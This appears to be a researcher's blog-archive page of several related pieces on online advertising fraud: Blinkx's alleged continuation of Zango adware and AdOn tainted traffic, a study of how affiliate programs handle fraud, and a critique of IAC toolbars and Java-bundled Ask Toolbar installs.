We examine online affiliate marketing programs in which merchants oversee thousands of affiliates they have never met. Some merchants hire outside specialists to set and enforce policies for affiliates, while other merchants ask their ordinary marketing staff to perform these functions. For clear violations of applicable rules, we find that outside specialists are most effective at excluding the responsible affiliates, which we interpret as a benefit of specialization. However, in-house staff are more successful at identifying and excluding affiliates whose practices are viewed as “borderline” (albeit still contrary to merchants’ interests), foregoing the efficiencies of specialization in favor of the better incentives of a company’s staff. We consider the implications for marketing of online affiliate programs and for online marketing more generally.
Online advertising might seem to be the most measurable form of marketing ever invented. Comprehensive records can track who clicked what ad–and often who saw what ad–to compare those clicks with users’ subsequent purchases. Ever-cheaper IT makes this tracking cost-effective and routine. In addition, a web of interlocking ad networks trades inventory and offers to show the right ad to the right person at the right time. It could be a marketer’s dream. However, these benefits are at most partially realized. The same institutions and practices that facilitate efficient ad placement can also facilitate fraud. The networks that should be serving advertisers have decidedly mixed incentives, such as cost savings from cutting corners, constrained in part by long-run reputation concerns, but only if advertisers ultimately figure out when they’re getting a bad deal. Legal, administrative, and logistical factors make it difficult to sue even the worst offenders. And sometimes an advertiser’s own staff members prefer to look the other way. The result is an advertising system in which a certain amount of waste and fraud has become the norm, despite the system’s fundamental capability to offer unprecedented accountability.
How does online advertising become less effective than advertisers expect and less effective than measurements indicate? The current research explores problems that result, in part, from malfeasance by outside perpetrators who overstate their efforts to increase their measured performance. In parallel, similar vulnerabilities result from mistaken analysis of cause and effect–errors that have become more fundamental as advertisers target their advertisements with greater precision. In the paper that follows, the author attempts to identify the circumstances that make advertisers most vulnerable, notes adjusted contract structures that offer some protections, and explores the origins of the problems in participants’ incentives and in legal rules.
Video and advertising conglomerate Blinkx tells investors its “strong performance” results from “strategic initiatives” and “expanding demand, content, and audiences.” Indeed, Blinkx recently climbed past a $1.2 billion valuation. At first glance, it sounds like a great business. But looking more carefully, I see reason for grave doubts.
My concerns result in large part from the longstanding practices of two of Blinkx’s key acquisitions, Zango and AdOn. But concerns extend even to Blinkx’s namesake video site. In the following sections, I address each in turn. Specifically, I show ex-Zango adware still sneaking onto users’ computers and still defrauding advertisers. I show the ex-AdOn traffic broker still sending invisible, popup, and other tainted traffic. I show Blinkx’ namesake site, Blinkx.com, leading users through a maze of low-content pages, while charging advertisers for video ads systematically not visible to users.
Few users would affirmatively request adware that shows extra pop-ups, so Blinkx and its distributors use deceptive tactics to sneak adware onto users’ computers. In a representative example, I ran a Google search for “Chrome” (Google’s well-known web browser), clicked an ad, and ended up at Youdownloaders.com — a site that bundles Chrome with third-party advertising software. (The Youdownloaders footer states “The installers are compliant with the original software manufacturer’s policies and terms & conditions” though it seems this claim is untrue: Chrome Terms of Service section 5.3 disallows copying and redistributing Chrome; 8.6 disallows use of Google’s trademarks in a way that is likely to cause confusion; 9.3 disallows transfer of rights in Chrome.) In my testing, the Youdownloaders installer presented offers for five different adware programs and other third-party applications, among them Weather Alerts from desktopweatheralerts.com. Installation video.
I consider the Youdownloaders installation deceptive for at least four reasons: 1) A user’s request for free Chrome software is not a proper circumstance to tout adware. The user gets absolutely nothing in exchange for supposed “agreement” to receive the adware; Chrome is easily and widely available for free, without adware. It is particularly one-sided to install five separate adware apps — taking advantage of users who do not understand what they are asked to accept (including kids, non-native speakers, and those in a hurry). 2) On the Weather Alerts page of the installation, on-screen statements mention nothing of pop-up ads or, indeed, any advertising at all. In contrast, the FTC’s settlement with Zango requires that disclosure of advertising practices be “clear and prominent,” “unavoidable,” and separate from any license agreement — requirements not satisfied here. 3) The Youdownloaders user interface leads users to think that the bundled installations are compulsory. For example, the “decline” button (which lets a user reject each adware app) appears without the distinctive shape, outline, color, or font of an ordinary Windows button. 4) Users are asked to accept an objectively unreasonable volume of agreements and contracts, which in my testing include at least 14 different documents totaling 37,564 words (8.5 times the length of the US Constitution).
Tellingly, Blinkx takes considerable steps to distance itself from these deceptive practices. For example, nothing on Blinkx’s site indicates that Weather Alerts is a Blinkx app or shows Blinkx ads. The Desktopweatheralerts.com site offers no name or address, even on its Contact Us form. Weather Alerts comes from a company called Local Weather LLC, an alter ego of Weather Notifications LLC, both of Minneapolis MN, with no stated affiliation with Blinkx. Weather Notifications’ listed address is a one-bedroom one-bathroom apartment — hardly a standard corporate office. Nonetheless, multiple factors indicate to me that Desktop Weather Alerts isdelivers a version of Zango adware. For one, Desktop Weather Alerts popups use the distinctive format long associated with Zango, including the distinctive browser buttons at top-left, as well as distinctive format of the advertisement label at bottom-left. Similarly, many sections of the license agreement and privacy policy are copied verbatim from longstanding Zango terms. Within the Weather Alerts EXE, strings reference 180search Assistant (a prior Zango product name) as well as 180client and various control systems long associated with Zango’s ad-targeting system. Similarly, when Weather Alerts delivers ads, its ad-delivery communications use a distinctive proprietary HTTP syntax both for request (to showme.aspx, with a HTTP POST parameter of epostdata= providing encoded ad context) and response (a series of HTML FORM elements, most importantly an INPUT NAME=ad_url to indicate the popup to open). I have seen this syntax (and its predecessors) in Zango apps for roughly a decade, but I have never seen this syntax used by any advertising delivered by other adware vendors or other companies. Moreover, when a Blinkx contractor previously contacted a security vendor to request whitelist treatment of its adware, the Blinkx representative said “The client is Blinkx … Your engine … was flagging their installer package SWA as SevereWeatherAlerts…” (emphasis added). Notice the Blinkx representative indicating that SWA (another Local Weather program, virtually identical save for domain name and product name) is “their” app, necessarily referring to Blinkx. Finally, in a February 2014 presentation, Blinkx CEO Brian Mukherjee included the distinctive Local Weather icon (present throughout the LW app and in LW’s installation solicitations) as part of the “Blinkx Ecosystem” — further confirming the link between LW and Blinkx. Taken together, these factors give good reason to conclude that Local Weather isapplications are powered by Blinkx and part of the Blinkx network. Furthermore, in my testing Blinkx is the sole source of advertising for Weather Alerts — meaning that Blinkx’s payments are Weather Alerts’ primary source of revenue and primary reason for existence. (Additions made February 13, 2014, shown in grey highlighting.)
Blinkx/Zango software continues to defraud affiliate merchants.
Meanwhile, Zango-delivered advertising remains a major cause of concern. Zango’s core advertising product remains the browser popup — a disruptive form of advertising unpopular with most users and also unpopular with most mainstream advertisers. Notably, Zango’s popups perpetrate various advertising fraud, most notably ‘lead stealing” affiliate windows that cover merchant sites with their own affiliate links. If the user purchases through either window, the Zango advertiser gets paid a commission — despite doing nothing to genuinely cause or encourage the user’s purchase. (Indeed, the popup interrupts the user and thereby somewhat discourages a purchase.) At right, I show a current example: In testing of January 19, 2014, Blinkx/Zango sees a user browsing Walmart, then opens a popup to Blinkx/LeadImpact (server lipixeltrack) which redirects to LinkShare affiliate ORsWWZomRM8 and on to Walmart. Packet log proof. Thus, Walmart ends up having to pay an affiliate commission on traffic it already had — a breach of Walmart’s affiliate rules and broadly the same as the practice for which two eBay affiliates last year pled guilty. I’ve reported Zango software used for this same scheme since June 2004. As shown at right and in other recent examples, Zango remains distinctively useful to rogue affiliates perpetrating these schemes. These rogue affiliates pay Blinkx to show the popups that set the scheme in motion — and I see no sign that Blinkx has done anything to block this practice.
Rather than put a stop to these practices, Blinkx largely attempts to distance itself from Zango’s legacy business. For one, Blinkx is less than forthright as to what exactly it purchased. In Blinkx’s 2010 financial report, the first formal investor statement to discuss the acquisition, Blinkx never uses the word “Zango” or otherwise indicates the specific company or assets that Blinkx acquired. Rather, Blinkx describes the purchase as “certain net assets from a consortium of financial institutions to facilitate the growth of the video search and advertising businesses.” If a reader didn’t already know what Blinkx had bought, this vague statement would do nothing to assist.
Even when Blinkx discusses the Zango acquisition, it is less than forthcoming. UK news publication The Register quotes an unnamed Blinkx spokeswoman saying that Blinkx “purchased some technical assets from the bank [that foreclosed on Zango] including some IP and hardware, which constituted about 10 per cent of Zango’s total assets.” Here too, readers are left to wonder what assets are actually at issue. A natural interpretation of the quote is that Blinkx purchased trademarks, domain names, or patents plus general-purpose servers — all consistent with shutting the controversial Zango business. But in fact my testing reveals the opposite: Blinkx continues to run key aspects of Zango’s business: legacy Zango installations continue to function as usual and continue to show ads, and Blinkx continues to solicit new installations via the same methods, programs, and partners that Zango previously used. Furthermore, key Zango staff joined Blinkx, facilitating the continuation of the Zango business. Consider Val Sanford, previously a Vice President at Zango; her LinkedIn profile confirms that she stayed with Blinkx for three years after the acquisition. I struggle to reconcile these observations with the claim that Blinkx only purchased 10% of Zango or that the purchase was limited to “IP and hardware.” Furthermore, ex-Zango CTO Ken Smith contemporaneously disputed the 10% claim, insisting that “Blinkx acquired fully 100% of Zango’s assets.”
Blinkx has been equally circumspect as to the size of the ex-Zango business. In Blinkx’ 2010 financial report, Blinkx nowhere tells investors the revenue or profit resulting from Zango’s business. Rather, Blinkx insists “It is not practical to determine the financial effect of the purchased net assets…. The Group’s core products and those purchased have been integrated and the operations merged such that it is not practical to determine the portion of the result that specifically relates to these assets.” I find this statement puzzling. The ex-Zango business is logically freestanding — for example, separate relationships with the partners who install the adware on users’ computers. I see no proper reason why the results of the ex-Zango business could not be reported separately. Investors might reasonably want to know how much of Blinkx’s business comes from the controversial ex-Zango activities.
Indeed, Blinkx’s investor statements make no mention whatsoever of Zango, adware, pop-ups, or browser plug-ins of any kind in any annual reports, presentations, or other public disclosures. (I downloaded all such documents from Blinkx’ Financial Results page and ran full-text search, finding no matches.) As best I can tell, Blinkx also failed to mention these endeavors in conference calls or other official public communications. In a December 2013 conference call, Jefferies analyst David Reynolds asked Blinkx about its top sources of traffic/supply, and management refused to answer — in sharp contrast to other firms that disclose their largest and most significant relationships.
In March-April 2012, many ex-Zango staff left Blinkx en masse. Many ended up at Verti Technology Group, a company specializing in adware distribution. Myriad factors indicate that Blinkx controls Verti: 1) According to LinkedIn, Verti has eight current employees of which five are former employees of Zango, Pinball, and/or Blinkx. Other recent Verti employees include Val Sanford, who moved from Zango to Blinkx to Verti. 2) Blinkx’s Twitter account: Blinkx follows just nineteen users including Blinkx’s founder, various of its acquisitions (including Prime Visibility / AdOn and Rhythm New Media), and several of their staff. Blinkx follows Verti’s primary account as well as the personal account of a Verti manager. 3) Washington Secretaty of State filings indicate that Verti’s president is Colm Doyle (then Directory of Technology at Blinkx, though he subsequently returned to HP Autonomy) and secretary, treasurer, and chairman is Erin Laye (Director of Project Management at Blinkx). Doyle and Laye’s links to Blinkx were suppressed somewhat in that both, at formation, specified their home addresses instead of their Blinkx office. 4) Whois links several Verti domains to Blinkx nameservers. (Details on file.) Taken together, these facts suggest that Blinkx attempted to move a controversial business line to a subsidiary which the public is less likely to recognize as part of Blinkx.
The Legacy AdOn Business
In November 2011, Blinkx acquired Prime Visibility Media Group, best known for the business previously known as AdOn Network and MyGeek. I have critiqued AdOn’s traffic repeatedly: AdOn first caught my eye when it boasted of relationships with 180solutions/Zango and Direct Revenue. New York Attorney General litigation documents later revealed that AdOn distributed more than 130,000 copies of notorious Direct Revenue spyware. I later repeatedly reported AdOn facilitating affiliate fraud, inflating sites’ traffic stats, showing unrequested sexually-explicit images, and intermediating traffic that led to Google click fraud.
Similar problems continue. For example, in a February 2013 report for a client, I found a botnet sending click fraud traffic through AdOn’s ad-feeds.com server en route to advertisers. In an August 2013 report for a different client, I found invisible IFRAMEs sending traffic to AdOn’s bing-usa.com and xmladfeed.com servers, again en route to advertisers. Note also the deceptive use of Microsoft’s Bing trademark — falsely suggesting that this tainted traffic is in some way authorized by or affiliated with Bing, when in fact the traffic comes from AdOn’s partners. Moreover, the traffic was entirely random and untargeted — keywords suggested literally at random, entirely unrelated to any aspect of user interests. In other instances, I found AdOn receiving traffic directly from Zango adware. All told, I reported 20+ distinct sequences of tainted AdOn traffic to clients during 2013. AdOn’s low-quality traffic is ongoing: Advertisers buying from AdOn receive invisible traffic, adware/malware-originating traffic, and other tainted traffic that sophisticated advertisers do not want.
An AdOn staff member touts multiple incriminating characteristics of AdOn traffic.
Industry sources confirm my concern. For example, a June 2013 Ad Week article quotes one publisher calling AdOn “just about the worst” at providing low-quality traffic, while another flags “crazy traffic patterns.” In subsequent finger-pointing as to tainted traffic to OneScreen sites, OneScreen blamed a partner, Touchstorm, for working with AdOn — wasting no words to explain why buying from AdOn is undesirable. Even intentional AdOn customers report disappointing quality: In comments on a posting by Gauher Chaudhry, AdOn advertisers call AdOn “the reason I stopped doing any PPV [pay-per-view] … this is bot traffic”, “junk”, and “really smell[s] like fake traffic.” Of 31 comments in this thread, not one praised AdOn traffic quality.
Recent statements from AdOn employees confirm undesirable characteristics of AdOn traffic. Matthew Papke’s LinkedIn page lists him as Director of Contextual Ads at AdOn. But his page previously described AdOn’s offering as “pop traffic” — admitting undesirable non-user-requested pop-up inventory. His page called the traffic “install based” — indicating that the traffic comes not from genuine web pages, but from adware installed on users’ computers. See screenshot at right. All of these statements have been removed from the current version of Matthew’s page.
Problems at Blinkx.com: Low-Quality Traffic, Low-Quality Content, and Invisible Ads
Alexa reports a sharp jump in Blinkx traffic in late 2013.
Zango adware caused my computer to display this page from the Blinkx site, full-screen and without standard window controls.
Blinkx’s namesake service is the video site Blinkx.com. Historically, this site has been a bit of an also-ran — it’s certainly no YouTube! But Alexa reports a striking jump in Blinkx popularity as of late 2013: Blinkx’s traffic jumped from rank of roughly 15,000 worldwide to, at peak, rank of approximately 3,000. What could explain such a sudden jump?
In my automated and manual testing of Zango adware, I’ve recently begun to see Zango forcing users to visit the Blinkx site. The screenshot at right gives an example. My test computer displayed Blinkx full-screen, without title bar, address bar, or standard window buttons to close or minimize. See also a partial packet log, wherein the Blinkx site attributes this traffic to Mossysky (“domain=mossysky”), one of the Zango brand names. It’s a strikingly intrusive display — no wonder users are complaining, about their computers being unusable due to Blinkx’s unwanted intrusion. See e.g. a December 2013 Mozilla forum post reporting “my computer has been taken over by malware, half the links are inaccessible because of hovering links to Blinkx,” and a critique and screenshot showing an example of these hovering links. On a Microsoft support forum, one user reports Internet Explorer automatically “opening … numerous BLINKX websites” — as many as “20 websites open at one time, all Blinkx related.”
Moreover, Alexa’s analysis of Blinkx visitor origins confirms the anomalies in this traffic. Of the top ten sites sending traffic to Blinkx, according to Alexa, six are Blinkx servers, largely used to forward and redirect traffic (networksad.com, advertisermarkets.com, networksads.com, advertiserdigital.com, blinkxcore.com, and networksmarkets.com). See Alexa’s Site Info for Blinkx.com at heading “Where do Blinkx.com’s visitors come from?”
Strikingly, Zango began sending traffic to Blinkx during the winter 2013 holiday season — a time of year when ad prices are unusually high. Zango’s popups of Blinkx seem to have ended as suddenly as they began — consistent with Blinkx wanting extra traffic and ad revenue when ad prices are high, but concluding that continuing this practice at length risks excessive scrutiny from both consumers and advertisers.
Meanwhile, examining Blinkx.com, I’m struck by the lack of useful content. I used the Google search site:blinkx.com to find the parts of the Blinkx site that, according to Google, are most popular. I was directed to tv.blinkx.com, where the page title says users can “Watch full episodes of TV shows online.” I clicked “60 Minutes” and received a page correctly profiling the excellence of that show (“the granddaddy of news magazines”). But when I clicked to watch one of the listed episodes, I found nothing of the kind: Requesting “The Death and Life of Asheboro, Stealing History, The Face of the Franchise,” I was told to “click here to watch on cbs.com” — but the link actually took me to a 1:33 minute home video of a dog lying on the floor, “Husky Says No to Kennel”, syndicated from YouTube, entirely unrelated to the top-quality 60 Minutes content I had requested. (Screen-capture video.) It was a poor experience — not the kind of content likely to cause users to favor Blinkx’s service. I tried several other shows supposedly available — The Colbert Report, The Daily Show with Jon Stewart, Family Guy, and more — and never received any of the listed content.
In parallel, the Blinkx site simultaneously perpetrated a remarkable scheme against advertisers: On the video index page for each TV show, video advertising was triggered to play as I exited each page by clicking to view the supposed video content. Because the supposed content opened in a new tab, the prior tab remained active and could still host a video player with advertising. Of course the prior tab was necessarily out of visibility: Blinkx’s code had just commanded the opening of a new tab showing the new destination. But the video still played, and video advertisers were still billed. Screen-capture video.
Industry sources confirm concerns about Blinkx ad visibility. For example, a December 15, 2013 Ad Week piece reported Vindico analysis finding just 23% of Blinkx videos viewable (defined as just 50% of pixels visible for just one second). By Vindico’s analysis, an advertiser buying video ads from Blinkx suffers three ads entirely invisible for every ad visible even by that low standard — a remarkably poor rate of visibility. In contrast, mainstream video sites like CBS and MSN enjoyed viewability rates two to four times higher.
Putting the Pieces Together
Q3 ’13 Headcount
’13 Revenue ($mm)
revenue / headcount ($k)
Tremor
287
$148
$517
YuMe
357*
$157
$440
RocketFuel
552
$240
$434
Criteo
452
$240
$532
Blinkx
265**
$246***
$927
* Q3 ’13 headcount not available. 357 is 2012 year-end. S&M spend up ~50% in 2013. Adjusted revenue/headcount is $293k
** Q3 ’13 headcount not available. 265 is 2012 year-end. S&M spend up ~15% in 2013. Adjusted revenue/headcount is $803k.
*** 2013 revenue estimate based on Bloomberg consensus estimates
Comparing Blinkx’s revenues to competitors, I am struck by Blinkx’s apparent outsized success. See the table at right, finding Blinkx producing roughly twice as much revenue per employee as online video/display ad networks and advertising technology companies which have recently made public offerings. Looking at Blinkx’s sites and services, one doesn’t get the sense that Blinkx’s service is twice as good, or its employees twice as productive, as the other companies listed. So why does Blinkx earn twice as much revenue per employee? One natural hypothesis is that Blinkx is in a significantly different business. While other services make significant payments to publishers for use of their video content, my browsing of Blinkx.com revealed no distinctive content obviously licensed from high-quality high-cost publishers. I would not be surprised to see outsized short-term profits in adware, forced-visit traffic, and other black-hat practices of the sort used by some of the companies Blinkx has acquired. But neither are these practices likely to be sustainable in the long run.
Reviewing Blinkx’s statements to investors, I was struck by the opacity. How exactly does Blinkx make money? How much comes from the legacy Zango and AdOn businesses that consumers and advertisers pointedly disfavor? Why are so many of Blinkx’s metrics out of line with competitors? The investor statements raise many questions but offer few answers. I submit that Blinkx is carefully withholding this information because the company has much to hide. If I traded in the companies I write about (I don’t!), I’d be short Blinkx.
This article draws in part on research I prepared for a client that sought to know more about Blinkx’s historic and current practices. At my request, the client agreed to let me include portions of that research in this publicly-available posting. My work for that client yielded a portion of the research presented in this article, though I also conducted significant additional research and drew on prior work dating back to 2004. My agreement with the client did not oblige me to circulate my findings as an article or in any other way; to my knowledge, the client’s primary interest was in learning more about Blinkx ‘s business, not in assuring that I tell others. By agreement with the client, I am not permitted to reveal its name, but I can indicate that the client is two US investment firms and that I performed the research during December 2013 to January 2014. The client tells me that it did not change its position on Blinkx after reading my article. (Disclosure updated and expanded on February 4-5, 2014.)
I thank Eric Howes, Principal Lab Researcher at ThreatTrack Security, and Matthew Mesa, Threat Researcher at ThreatTrack Security, for insight on current Blinkx installations.
Affiliate programs vary dramatically in their incidence of fraud. In some merchants’ affiliate programs, rogue affiliates fill the ranks of high-earners. Yet other similarly-sized merchants have little or no fraud. Why the difference?
In Information and Incentives in Online Affiliate Marketing, Wesley Brandi and I examine the impact of varying merchant management decisions. Some merchants hire specialist outside advisors (“outsourced program managers” or OPM’s) to set and enforce program rules. Others ask affiliate network staff to make these decisions. Still others handle these tasks internally.
A merchant’s choice of management structure has significant implications for both the information available to decision-makers and the incentives that motivate those decision-makers. Outside advisors tend to have better information: An OPM sees problems and trends across its many clients. A network is even better positioned — enjoying direct access to log files, custom reports, and problems reported by all merchants in the network. That said, outside advisors usually suffer clear incentive problems. Most notably, networks are usually paid in proportion to a merchant’s affiliate channel spending, so networks have a significant incentive to encourage merchants to accept even undesirable affiliates. In contrast, incentives for merchants’ staff are typically more closely aligned with the merchant’s objectives. For example, many in-house affiliate managers have stock, options, or bonus that depend on company profitability. And working in a company builds intrinsic motivation and loyalty. In short, there are some reasons to think outsourced specialists will yield superior results, but other reasons to favor in-house staff.
To separate these effects, we used crawlers to examine affiliate fraud at what we believe to be unprecedented scope. Our crawlers ran more than 2 million page-loads on a variety of computers and virtual computers, examining the relative susceptibility of all CJ, LinkShare, and Google Affiliate Network merchants (as of spring 2012) to adware, cookie-stuffing, typosquatting, and loyalty apps.
We found outside advisors best able to find “clear fraud” plainly prohibited by network rules, specifically adware and cookie-stuffing. But in-house staff did better at avoiding “grey area” practices such as typosquatting — schemes less plainly prohibited by network rules, yet still contrary to merchants’ interests. On balance, there are good reasons to favor each management approach. Our advice: A merchant choosing outsourced management should be sure to insist on borderline decisions always taken with the merchant’s interests at heart. A merchant managing its programs in-house should be careful to avoid known cheaters that a savvy specialist would more often exclude.
Our results clearly reveal that networks take actions that are less than optimal for merchants. It’s tempting to attribute this shortfall to malicious intent by networks, but the same outcome could result from networks simply putting their own interests first. Consider a network that receives undisputed proof that a given affiliate is cheating a given merchant. Should the network eject that affiliate from the entire network (and all affiliated merchants), or only from that single merchant’s program? The former helps dozens or hundreds of merchants, but with corresponding reduction to network revenues. No wonder many networks chose the latter. Similarly, when networks decide how much to invest in network quality — engineers, analysts, crawlers, and the like — their incentive to improve quality is tempered by both direct cost and foregone revenue.
Incidental to our analysis of management structure, we gathered significant data about the scope of affiliate fraud more generally. Some differences are stark: For example, Table 4 reports Google Affiliate Network merchants suffering, on average, less than half as much adware and cookie-stuffing as LinkShare merchants. I’ve been critical of Google on numerous issues. But when it comes to affiliate quality, GAN was impressive, and GAN’s high standards show clearly in our large-sample data. Note that our analysis precedes Google’s April 2013 announcement of GAN’s shutdown.
Our full analysis is under review by an academic journal.
Crucially, IAC remains substantially dependent on Google for monetization of IAC’s search services. A rigorous application of Google’s existing rules would put a stop to many of IAC’s practices, and sensible updated rules — following the stated objective of Google’s existing policies — would end much of the rest.
IAC’s search toolbar business is grounded in placing IAC toolbars on as many computers as possible. To that end, IAC offers 50+ different toolbars with a variety of branding — Webfetti (“free Facebook graphics”), Guffins (“virtual pet games”), religious toolbars of multiple forms (Know the Bible, Daily Bible Guide, Daily Jewish Guide), screensavers, games, and more. One might reasonably ask: Why would a user want such a toolbar?
IAC ad promises “free online television” but actually merely links to material already on the web; promises an “app” but actually provides a search toolbar.
IAC ad solicits installations via “virtual pet” ad distinctively catering to kids.
Other IAC Guffins ads specifically invite “kids” to install. (Screenshot by iSpionage)
IAC Guffins offer features multiple animated cartoon images, distinctively catering to kids.
The Television Fanatic toolbar is instructive. IAC promotes this toolbar with search ads that promise “free online television” and “turn your computer into a TV watch full TV episode w free app.” It sounds like an attractive deal — many users would relish the ability to watch free live broadcast television on an ordinary computer, and it would not be surprising if such a service required downloading some sort of desktop application or browser plug-in. But in fact Television Fanatic offers nothing of the sort. To the extent that Television Fanatic offers the “free online television” promised in the ad, it only links to ordinary video content already provided by others. (For example, I clicked the toolbar’s “ABC” link and was taken to http://abc.go.com/watch/ — an ordinary ABC link equally available to users without Television Fanatic. That’s a far cry from IAC’s promise of special access to premium material.
Meanwhile, IAC’s Guffins toolbar distinctively targets kids. IAC promotes Guffins via search ads for terms like “virtual pet”, and the resulting ad says Guffins offers “puppy, cats, bunny, dragons & more” which a user can “feed, play, [and] care for.” The landing page features four animated animals with oversized faces and overstated features, distinctively attractive to children. Under COPPA factors or any intuitive analysis, IAC clearly targets kids. Indeed, ad tracking service iSpionage reports Guffins ads touting “Free Kids Games Download”, “Free Kids Computer Games”, “Play Kids Games Online”, and more — explicitly inviting children to install Guffins. Of course kids are ill-equipped to evaluate IAC’s offer — less likely to notice IAC’s disclosures of an included toolbar, less likely to understand what a search toolbar even is, and less able to evaluate the wisdom of installing such a toolbar in exchange for games.
While IAC’s ads often promise an “app” (including as shown in the ad screenshots at right), IAC actually offers just toolbars — add-ins appearing within web browsers, not the freestanding applications that the ads suggest. That’s all the more deceptive: IAC enticed users with the promise of genuine distinct programs offering exceptional video content and rich gaming. Instead IAC provided browser plug-ins that claim valuable screen space whenever users browse the web. And far from providing exclusive content, IAC toolbars send users to material already on the web and driving traffic to IAC’s advertising displays (as detailed in the next section). That’s strikingly inferior.
IAC’s toolbar installation practices stack up unfavorably vis-a-vis applicable Google policies, industry standards, and regulatory requirements. Google’s Software Principles call for “Upfront disclosure” with no suggestion that an app may promise one thing in an initial solicitation, then something else in a subsequent landing page. (IAC is obliged to comply with Google’s rules because IAC toolbars show ads from Google, as discussed in the next section.) Meanwhile, the Anti-Spyware Coalition specifically flags installations targeting children, allowing bundling by affiliates, and modifying browser settings as risk factors making software a greater concern. Even decades-old FTC rules are on point, disallowing “deceptive door openers” that promise one thing at the outset (like IAC’s initial promise of “free online television”) but later deliver something importantly different (a search toolbar).
Web searches reveal numerous user complaints about IAC toolbars. Consider search results for “televisionfanatic”. A first result links to product’s official site. Second is a Sitejabber forum with 20 harsh reviews. (17 reviewers gave Television Fanatic just one star out of five, with comments systematically reporting surprise and annoyance at the toolbar’s presence.) The third result advises “How to uninstall a Television fanatic toolbar”, and the fourth is multiple Yahoo Answers discussions including a user asking “Is television fanatic toolbar a virus?” and others repeatedly complaining about unintended installation. Clearly numerous users are dissatisfied with Television Fanatic.
So too for DailyBibleGuide. In a Q1 2011 earnings call, IAC CEO Greg Blatt touted the DailyBibleGuide toolbar as a new product IAC is particularly proud of. But a Google search results for “DailyBibleGuide” include a page advising “do not download Dailybiblestudy, Dailybibleguide, or Knowthebible extension.” There and elsewhere, users seem surprised to receive IAC’s toolbars. Reading users’ complaints, it seems their confusion ultimately results from IAC’s decision to deliver bible trivia via a toolbar. After all, such material would more naturally be delivered via a web page, email newsletter, or perhaps RSS feed. IAC chose the odd strategy of toolbar-based delivery not because it was genuinely what users wanted, but because this is the format IAC can best monetize. No wonder users systematically end up disappointed.
By all indications, a huge number of users are running IAC toolbars. The IAC toolbars discussed in this section all send users to mywebsearch.com, a site users are unlikely to visit except if sent there by an IAC toolbar. Alexa reports that mywebsearch.com is the #41 most popular site in the US and #71 worldwide — more popular than Instagram, Flickr, Pandora, and Hulu.
Some of IAC’s browser configuration changes remain in place even if a user removes an IAC toolbar. I installed then uninstalled an IAC Television Fanatic toolbar and received a prompt instructing “Click here for help on resetting your home page and default search settings.” The resulting page specified four different procedures totaling 16 steps — far more lengthy than the initial installation. I can see no proper reason why uninstall is so difficult. Indeed, IAC’s incomplete uninstall specifically violates Google’s October 2012 requirement that “During the uninstall process, users must be presented with a choice that gives them the option of returning their browser’s user settings to the previous settings.” Google’s Software Principles are also on point, instructing that uninstall must be “easy” and must disable “all functions of the application” — whereas IAC’s automated installer does not undo all of IAC’s changes, and IAC’s manual 16-step process is the opposite of “easy.”
The Special Problems of IAC Ask Toolbar Installed by Oracle’s Java Updates
Java security update installs Ask Toolbar by default — a single click in a multi-step installer.
Ongoing Oracle Java updates also install the IAC Ask Toolbar. I discuss these installations in this separate section because they raise concerns somewhat different from the IAC toolbars discussed above. I see five key problems with Oracle Java updates that install IAC toolbars:
First, as Ed Bott noted last week, the “Install the Ask Toolbar” checkbox is prechecked, so users can install the Ask toolbar with a single click on the “Next” button. Accidental installations are particularly likely because the Ask installation prompt is step three of five-screen installation process. When installing myriad software updates, it’s easy to get into a routine of repeatedly clicking Next to finish the process as quickly as possible. But in this case, just clicking Next yields the installation of Ask’s toolbar.
Second, although the Ask installation prompt does not show a “focus” (a highlighted button designated as the default if a user presses enter), the Next button actually has focus. In testing, I found that pressing the enter or spacebar keys has the same effect as clicking “Next.” Thus, a single press of either of the two largest keys on the keyboard, with nothing more, is interpreted as consent to install Ask. That’s much too low a bar — far from the affirmative indication of consent that Google rules and FTC caselaw call for.
Third, in a piece posted today, Ed Bott finds Oracle and IAC intentionally delaying the installation of the Ask Toolbar by fully ten minutes. This delay undermines accountability, especially for sophisticated users. Consider a user who mistakenly clicks Next (or presses enter or spacebar) to install Ask Toolbar, but immediately realizes the mistake and seeks to clean his computer. The natural strategy is to visit Control Panel – Programs and Features to activate the Ask uninstaller. But a user who immediately checks that location will find no listing for the Ask Toolbar: The uninstaller does not appear until the Ask install finishes after the intentional ten minute delay. Of course even sophisticated users have no reason or ability to know about this delay. Instead, a sophisticated user would conclude that he somehow did not install Ask Toolbar after all — and only later will the user notice and, perhaps, proceed with uninstall. Half a decade ago I found WhenU adware engaged in similar intentional delay. Similarly, NYAG litigation documents revealed notorious spyware vendor Direct Revenue intentionally declining to show ads in the first day after its installation. (Direct Revenue staff said this delay would “reduce the correlation between the Morpheus download [which bundled Direct Revenue spyware] and why they are seeing [Direct Revenue’s popup] ads” — confusion that DR staff hoped would “creat[e] less of a path to what they [users] should uninstall.”) Against this backdrop, it’s particularly surprising to see IAC and Oracle adopt this tactic.
Fourth, IAC makes changes beyond the scope of user consent and fails to revert these changes during uninstall. The Oracle/IAC installation solicitation seeks permission to install an add-on for IE, Chrome, and Firefox, but nowhere mentions changing address bar search or the default Chrome search provider. Yet the installer in fact makes all these changes, without ever seeking or receiving user consent. Conversely, uninstall inexplicably fails to restore these settings. As noted above, these incomplete uninstalls violate Google’s Software Principles requirement that an “easy” uninstall must disable “all functions of the application.”
Finally, the Java update is only needed as a result of a serious security flaw in Java. It is troubling to see Oracle profit from this security flaw by using a security update as an opportunity to push users to install extra advertising software. Java’s many security problems make bundled installs all the worse: I’ve received a new Ask installation prompts with each of Java’s many security updates. (Ed Bott counts 11 over the last 18 months.) Even if the user had declined IAC’s offer on half a dozen prior requests, Oracle persists on asking — and a single slip-up, just one click or keystroke on the tenth request, will nonetheless deliver Ask’s toolbar.
A security update should never serve as an opportunity to push additional software. As Oracle knows all too well from its recent security problems, users urgently need software updates to fix serious vulnerabilities. By bundling advertising software with security updates, Oracle teaches users to distrust security updates, deterring users from installing updates from both Oracle and others. Meanwhile, by making the update process slower and more intrusive, Oracle reduces the likelihood that users will successfully patch their computers. Instead, Oracle should make the update process as quick and easy as possible — eliminating unnecessary steps and showing users that security updates are quick and trouble-free.
Toolbar Operations and Result Format
Once a user receives an IAC toolbar, a top-of-browser stripe appears in Internet Explorer and Firefox, and IAC also takes over default search, address bar search, and error handling. That’s an intrusive set of changes, and particularly undesirable in light of the poor quality of IAC’s search results.
